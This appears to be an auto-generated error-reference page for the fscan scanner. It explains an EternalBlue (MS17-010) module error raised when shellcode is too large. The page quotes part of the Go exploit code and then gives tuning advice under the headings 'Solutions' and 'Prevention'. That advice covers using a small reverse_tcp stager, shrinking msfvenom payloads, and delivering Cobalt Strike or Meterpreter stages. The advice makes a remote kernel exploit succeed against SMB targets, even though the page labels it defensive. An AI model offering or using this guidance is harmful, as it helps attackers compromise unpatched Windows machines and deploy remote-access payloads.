shadow1ng/fscan · error
sc size %d > %d big %d
Error message
sc size %d > %d big %d
What it means
eternalBlue rejects shellcode larger than maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2, because the shellcode plus the DoublePulsar loader must fit inside a single SMB Trans2 packet whose length field is uint16-bounded. The library throws this pre-flight so it never sends a truncated or unsendable payload.
Source
Thrown at plugins/services/ms17010_exp.go:20
package services
import (
"bytes"
"encoding/binary"
"fmt"
"io"
"net"
"time"
)
func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {
// check sc size
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16
l := len(sc)
if l > maxscSize {
//fmt.Println(maxscSize)
return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize)
}
payload := makeKernelUserPayload(sc)
var (
grooms int
err error
)
for i := 0; i < maxAttempts; i++ {
grooms = initialGrooms + 5*i
err = exploit(address, grooms, payload)
if err == nil {
return nil
}
}
return err
}
func exploit(address string, grooms int, payload []byte) error {
// connect hostView on GitHub (pinned to 95cc12e753)
Solutions
- Use a small stager shellcode instead of a full stage (e.g. a reverse_tcp stager of a few hundred bytes) and deliver the large payload over the network.
- Regenerate the payload with msfvenom minimizing size (avoid embedded DLLs/large configs).
- Trim the `file:`-referenced shellcode file to fit under the limit; compute the limit as packetMaxLen - packetSetupLen - len(loader) - 2 in the package.
- Check the error's third value (overflow amount) to see exactly how many bytes to cut.
Example fix
// before
sc, _ := os.ReadFile("full_beacon.bin") // tens of KB, exceeds packet budget
// after
sc, _ := os.ReadFile("stager.bin") // small reverse-shell stager within maxscSize Defensive patterns
Strategy: validation
Validate before calling
maxscSize := packetMaxLen - packetSetupLen - len(loader) - 2
if len(scBytes) > maxscSize {
return fmt.Errorf("shellcode %d bytes exceeds packet budget %d; use a smaller stager", len(scBytes), maxscSize)
} Prevention
- Always use small stager shellcode, never full staged payloads, for EternalBlue delivery.
- Add a build-time or config-load-time size assertion against maxscSize.
- Compute the budget from packetMaxLen/packetSetupLen/loader constants rather than hardcoding a number.
- Keep msfvenom payloads minimal (no embedded large stages) when targeting SMB exploits.
When it happens
Trigger: Passing a decoded shellcode byte slice longer than maxscSize to eternalBlue — typically via a large custom config.Shellcode hex string or a `file:` shellcode file whose contents exceed the packet budget.
Common situations: Using large staged payloads, big Cobalt Strike beacon or Meterpreter stages embedded directly instead of a small stager; appending extra data to the shellcode file; generating msfvenom payloads without -f hex size constraints.
Understand the failure class
Background: payload too large / request exceeds maximum size: why libraries cap bytes and how to fix oversize payloads — this error's family across 50 libraries.
Related errors
- i18n.GetText("ms17010_not_vulnerable")
- ms17010_connection_error: %w
- ms17010_send_protocol_error: %w
- ms17010_invalid_shellcode
- ms17010_shellcode_decode_failed: %w
AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06).
Data as JSON: /api/errors/ef540418649d3e0a.
Report an issue: GitHub.